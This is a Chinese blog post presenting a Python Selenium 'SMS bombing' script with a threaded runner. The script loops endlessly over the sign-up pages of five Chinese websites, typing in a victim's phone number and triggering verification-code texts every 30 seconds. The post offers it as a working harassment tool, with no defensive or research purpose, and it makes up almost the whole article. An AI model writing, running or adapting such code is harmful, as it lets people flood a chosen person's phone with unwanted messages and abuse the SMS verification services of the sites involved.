Python短信轰炸的代码


Posted in Python onMarch 25, 2020

环境 python3.0

工具 pycharm

谷歌插件chromedriver

程序执行方法

from selenium import webdriver
import time
from threading import Thread
class HongZha(object):
  def __init__(self):
    self.phone = "xxxxx"#你要轰炸的电话号码
    self.num = 0
  def send_yzm(self,button,name):
    button.click()
    self.num+=1
    print("{}  第{}次  发送成功  {}".format(self.phone,self.num,name))
    time.sleep(30)
  def zhihu(self,name):
    while True:#下面这行是刚刚叙说的chromedrive的安装路径

      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get("https://www.zhihu.com/question/39993344")
      driver.find_element_by_xpath ( "//button[@class='Button Button--primary Button--blue']" ).click ()
      time.sleep(2)
      tel = driver.find_element_by_xpath("//input[@placeholder='手机号']")
      tel.send_keys(self.phone)
      button = driver.find_element_by_xpath ( "//button[@class='Button CountingDownButton SignFlow-smsInputButton Button--plain']" )
      self.send_yzm(button,name)
      driver.quit ()
  def guazi(self,name):
    while True:
      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get("https://www.guazi.com/www/bj/buy")
      a_btn = driver.find_element_by_xpath ( "//a[@class='uc-my']" )
      a_btn.click()
      time.sleep(2)
      tel = driver.find_element_by_xpath("//input[@placeholder='请输入您的手机号码']")
      tel.send_keys( self.phone )
      button = driver.find_element_by_xpath("//button[@class='get-code']")
      self.send_yzm(button,name)
      driver.quit()
  def wphui(self,name):
    while True:
      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get ( "https://passport.vip.com/register?src=https%3A%2F%2Fwww.vip.com%2F" )
      tel = driver.find_element_by_xpath ( "//input[@placeholder='请输入手机号码']" )
      tel.send_keys ( self.phone )
      driver.find_element_by_xpath ( "//input[@id='J_mobile_code']" ).click()
      button = driver.find_element_by_xpath (
        "//a[@class='ui-btn-medium btn-verify-code ui-btn-secondary']" )
      self.send_yzm ( button,name )
      driver.quit ()
  def suning(self,name):
    while True:
      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get ( "https://reg.suning.com/person.do" )
      driver.find_element_by_xpath("//a[@class='agree-btn']").click()
      tel = driver.find_element_by_xpath ( "//input[@id='mobileAlias']")
      tel.send_keys ( self.phone )
      button = driver.find_element_by_xpath (
        "//a[@id='sendSmsCode']" )
      self.send_yzm ( button,name )
      driver.quit ()
  def yhd(self,name):
    while True:
      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get ( "https://passport.yhd.com/passport/register_input.do" )
      driver.find_element_by_xpath ( "//input[@id='userName']" ).send_keys("我的女神daadaamnabajhdja")
      tel = driver.find_element_by_xpath ( "//input[@id='phone']" )
      tel.send_keys ( self.phone )
      time.sleep(2)
      button = driver.find_element_by_xpath (
        "//a[@class='receive_code fl same_code_btn r_disable_code ']" )
      #button.click()
      time.sleep(1)
      self.send_yzm ( button,name )
      driver.quit ()

执行放发

from threading import Thread

from sendPhon import HongZha

hongzha = HongZha()
zhihu = Thread(target=hongzha.zhihu,args=("知乎",))
guazi = Thread ( target=hongzha.guazi,args=("瓜子",))
wphui = Thread(target=hongzha.wphui,args=("唯品会",))
suning = Thread(target=hongzha.suning,args=("苏宁",))
yhd= Thread( target=hongzha.yhd,args=("一号店",))
zhihu.start()
guazi.start()
wphui.start()
suning.start()
yhd.start()

总结

到此这篇关于Python短信轰炸的代码的文章就介绍到这了,更多相关Python短信轰炸内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

Python 相关文章推荐
PYTHON 中使用 GLOBAL引发的一系列问题
Oct 12 Python
Python实现的本地文件搜索功能示例【测试可用】
May 30 Python
python 获取微信好友列表的方法(微信web)
Feb 21 Python
python字典嵌套字典的情况下找到某个key的value详解
Jul 10 Python
Python Opencv 通过轨迹(跟踪)栏实现更改整张图像的背景颜色
Mar 09 Python
pytorch 中的重要模块化接口nn.Module的使用
Apr 02 Python
Python如何使用队列方式实现多线程爬虫
May 12 Python
Python爬虫HTPP请求方法有哪些
Jun 03 Python
python用tkinter实现一个简易能进行随机点名的界面
Sep 27 Python
基于OpenCV的网络实时视频流传输的实现
Nov 15 Python
Python之基础函数案例详解
Aug 30 Python
Python实现老照片修复之上色小技巧
Oct 16 Python
PyQt5事件处理之定时在控件上显示信息的代码
Mar 25 #Python
基于Python计算圆周率pi代码实例
Mar 25 #Python
Python异常原理及异常捕捉实现过程解析
Mar 25 #Python
Python导入模块包原理及相关注意事项
Mar 25 #Python
Python脚本导出为exe程序的方法
Mar 25 #Python
Python实现猜年龄游戏代码实例
Mar 25 #Python
python读取mysql数据绘制条形图
Mar 25 #Python
You might like
文件上传的实现
2006/10/09 PHP
PHP简单系统查询模块代码打包下载
2008/06/07 PHP
Laravel+jQuery实现AJAX分页效果
2016/09/14 PHP
JavaScript 函数调用规则
2009/09/14 Javascript
AJAX分页的代码(后台asp.net)
2011/02/14 Javascript
javascript使用smipleChart实现简单图表
2015/01/02 Javascript
javascript中callee与caller的区别分析
2015/04/20 Javascript
jquery实现的3D旋转木马特效代码分享
2015/08/25 Javascript
JS中使用apply、bind实现为函数或者类传入动态个数的参数
2016/04/26 Javascript
分享一个插件实现水珠自动下落效果
2016/06/01 Javascript
完美JQuery图片切换效果的简单实现
2016/07/21 Javascript
每个程序员都需要学习 JavaScript 的7个理由小结
2016/09/03 Javascript
Jq通过td获取同行其它列td的方法
2016/10/05 Javascript
深入理解Node.js 事件循环和回调函数
2016/11/02 Javascript
原生JS实现在线问卷调查投票特效
2017/01/03 Javascript
Vue的移动端多图上传插件vue-easy-uploader的示例代码
2017/11/27 Javascript
PHP自动加载autoload和命名空间的应用小结
2017/12/01 Javascript
AngularJS基于http请求实现下载php生成的excel文件功能示例
2018/01/23 Javascript
JS大坑之19位数的Number型精度丢失问题详解
2019/04/22 Javascript
JavaScript前端页面搜索功能案例【基于jQuery】
2019/07/10 jQuery
vue图片上传组件使用详解
2019/12/23 Javascript
[02:27]DOTA2英雄基础教程 莱恩
2014/01/17 DOTA
python使用PythonMagick将jpg图片转换成ico图片的方法
2015/03/26 Python
Python实现爬取逐浪小说的方法
2015/07/07 Python
python 读取摄像头数据并保存的实例
2018/08/03 Python
Python魔法方法 容器部方法详解
2020/01/02 Python
Python数组并集交集补集代码实例
2020/02/18 Python
HTML5手指下滑弹出负一屏阻止移动端浏览器内置下拉刷新功能的实现代码
2020/04/10 HTML / CSS
英国航空官网:British Airways
2016/09/11 全球购物
英国儿童图书网站:Scholastic
2017/03/26 全球购物
师范应届生教师求职信
2013/11/05 职场文书
超市5.1促销活动
2014/01/15 职场文书
打造高效课堂实施方案
2014/03/22 职场文书
信息管理专业自荐书
2014/06/05 职场文书
大学生求职信例文
2014/06/29 职场文书
2015年安全生产目标责任书
2015/01/29 职场文书